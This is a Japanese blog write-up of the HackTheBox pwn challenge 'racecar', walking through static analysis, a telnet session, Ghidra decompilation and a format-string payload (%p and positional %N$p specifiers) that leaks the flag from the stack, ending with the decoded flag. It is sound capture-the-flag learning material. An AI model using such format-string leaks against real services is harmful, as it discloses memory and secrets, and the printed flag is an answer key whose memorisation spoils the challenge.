見出し画像

#28 [HTB] racecar

 バイナリをガンガン読めるようになりたいので、Pwnをやります。HackTheBoxのChallengeより「racecar」を解きました。


Write Up

静的解析


対象ファイルがダウンロードできます。まず、調査。

$ file racecar
racecar: ELF 32-bit LSB pie executable, Intel 80386, 
version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, 
for GNU/Linux 3.2.0, BuildID[sha1]=c5631a370f7704c44312f6692e1da56c25c1863c, 
not stripped

ELF形式の実行ファイルです。ストリップされていないので、デバッグしやすそう。

$ xxd racecar
......
00001a00: 2073 6179 2074 6f20 7468 6520 7072 6573   say to the pres
00001a10: 7320 6166 7465 7220 796f 7572 2062 6967  s after your big
00001a20: 2076 6963 746f 7279 3f0a 3e20 2573 0072   victory?.> %s.r
00001a30: 0066 6c61 672e 7478 7400 0000 2573 5b2d  .flag.txt...%s[-
00001a40: 5d20 436f 756c 6420 6e6f 7420 6f70 656e  ] Could not open
00001a50: 2066 6c61 672e 7478 742e 2050 6c65 6173   flag.txt. Pleas
00001a60: 6520 636f 6e74 6163 7420 7468 6520 6372  e contact the cr
00001a70: 6561 746f 722e 0a00 0a1b 5b33 6d54 6865  eator.....[3mThe
00001a80: 204d 616e 2c20 7468 6520 4d79 7468 2c20   Man, the Myth, 
00001a90: 7468 6520 4c65 6765 6e64 2120 5468 6520  the Legend! The 
00001aa0: 6772 616e 6420 7769 6e6e 6572 206f 6620  grand winner of 
00001ab0: 7468 6520 7261 6365 2077 616e 7473 2074  the race wants t
00001ac0: 6865 2077 686f 6c65 2077 6f72 6c64 2074  he whole world t
00001ad0: 6f20 6b6e 6f77 2074 6869 733a 201b 5b30  o know this: .[0
......

中身をざっと見てみると、flag.txtという文字列が出てきます。今回のチャレンジでは、なんとかしてこのflag.txtの内容を読み出すんだろうと想像できます。


動作確認


いったん動かしてみます。

$ telnet xxx.xxx.xxx.xxx <port>
Trying 165.227.231.162...
Connected to 165.227.231.162.
Escape character is '^]'.

🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌
      ______                                       |xxx|
     /|_||_\`.__                                   | F |
    (   _    _ _\                                  |xxx|
*** =`-(_)--(_)-'                                  | I |
                                                   |xxx|
                                                   | N |
                                                   |xxx|
                                                   | I |
                                                   |xxx|
             _-_-  _/\______\__                    | S |
           _-_-__ / ,-. -|-  ,-.`-.                |xxx|
            _-_- `( o )----( o )-'                 | H |
                   `-'      `-'                    |xxx|
🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌

Insert your data:

Name: tkusa
Nickname: tkusa

]!] Welcome [tkusa

]!but everybody calls you.. [tkusa
[*] Current coins: [69]

1. Car info
2. Car selection
> 1

🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌

Car #1 stats:   🚗

[Speed]:        ▋▋▋▋

[Acceleration]: ▋▋▋▋▋

[Handling]:     ▋▋▋▋▋▋▋▋

🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌

Car #2 stats:   🏎️

[Speed]:        ▋▋▋▋▋▋▋▋▋

[Acceleration]: ▋▋▋▋▋▋▋▋

[Handling]:     ▋▋

🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌🎌

1. Car info
2. Car selection
> 2


Select car:
1. 🚗
2. 🏎️
> 1


Select race:
1. Highway battle
2. Circuit
> 2

[*] Waiting for the race to finish...

[+] You won the race!! You get 100 coins!
[+] Current coins: [169]

[!] Do you have anything to say to the press after your big victory?
> a

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
a
Connection closed by foreign host.
 

レースがはじまりました。勝利するとコインがもらえ、勝利インタビューを受けるというスクリプトです。


動的解析


flag.txtはどこで使われているのでしょうか?
gdbを使って動的解析をしてみます。

$ gdb racecar
> b main 
> run

そのまま実行すると、「flag.txtが見つからない」とエラーになります。仮に、"test_flag"という内容でflag.txtファイルを作成し、実行ファイルと同じディレクトリに保存するとエラーなく実行できます。

調査を進めると、car_menuという関数の中で、flagが読み出されていることがわかりました。flagは、変数に保持されているものの、処理の中では使われていません。

Ghidraでデコンパイルして、詳細を確認しましょう。

void car_menu(void)

{
  .....
  ##### 省略 #####
  .....

  if (((iVar1 == 1) && (iVar2 < iVar3)) || ((iVar1 == 2 && (iVar3 < iVar2)))) {
    printf("%s\n\n[+] You won the race!! You get 100 coins!\n",&DAT_00011540);
    coins = coins + 100;
    puVar5 = &DAT_00011538;
    printf("[+] Current coins: [%d]%s\n",coins,&DAT_00011538);
    printf("\n[!] Do you have anything to say to the press after your big victory?\n> %s",
           &DAT_000119de);
    __format = (char *)malloc(0x171);

    ##### flag読み出し #####
    __stream = fopen("flag.txt","r");

    if (__stream == (FILE *)0x0) {
      printf("%s[-] Could not open flag.txt. Please contact the creator.\n",&DAT_00011548,puVar5);
                    /* WARNING: Subroutine does not return */
      exit(0x69);
    }
    fgets(local_3c,0x2c,__stream);
    read(0,__format,0x170);
    puts(
        "\n\x1b[3mThe Man, the Myth, the Legend! The grand winner of the race wants the whole world  to know this: \x1b[0m"
        );

    ##### 勝利インタビューの表示 #####
    printf(__format);
  }

  .....
  ##### 省略 #####
  .....
}

気になるのは、勝利インタビューの表示箇所です。printfで入力値をそのまま引数に取っています。printfは、%sのようなフォーマット文字列を適当に解釈して表示してくれます。
メモリから表示する%pを入力してみます。

!] Do you have anything to say to the press after your big victory?                                                         
> %p%p%p%p%p                                                                                                                 

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
0x582181c00x1700x56614d850x80x47

ビンゴ!
%pはスタックの上から順に読み込んでいきます。flagは、スタックの12番目〜23番目までに格納されていました。

[!] Do you have anything to say to the press after your big victory?                                                         
> %12$p %13$p %14$p %15$p %16$p %17$p %18$p %19$p %20$p %21$p %22$p %23$p                                                    

The Man, the Myth, the Legend! The grand winner of the race wants the whole world to know this: 
0x7b425448 0x5f796877 0x5f643164 0x34735f31 0x745f3376 0x665f3368 0x5f67346c 0x745f6e30 0x355f3368 0x6b633474 0x7d213f 0x86af5700


流出したメモリを文字列に変換すると、いかにもそれらしい感じです。

{BTH _yhw _d1d 4s_1 t_3v f_3h _g4l t_n0 5_3h kc4t }!?

ここで、もう一工夫必要です。リトルエンディアンなので、各バイトを反転しなければいけません。

HTB{why_d1d_1_s4v3_th3_fl4g_0n_th3_5t4ck?!}

これでOK!


まとめ

 今回の問題は、フォーマット文字列を悪用したメモリの流出に関する問題でした。Pwnは、基礎技術に対する深い理解が求められます。バッファオーバーフローなど致命的な攻撃につながる可能性もあるので、バッチリ習得したいところです。

EOF

いいなと思ったら応援しよう!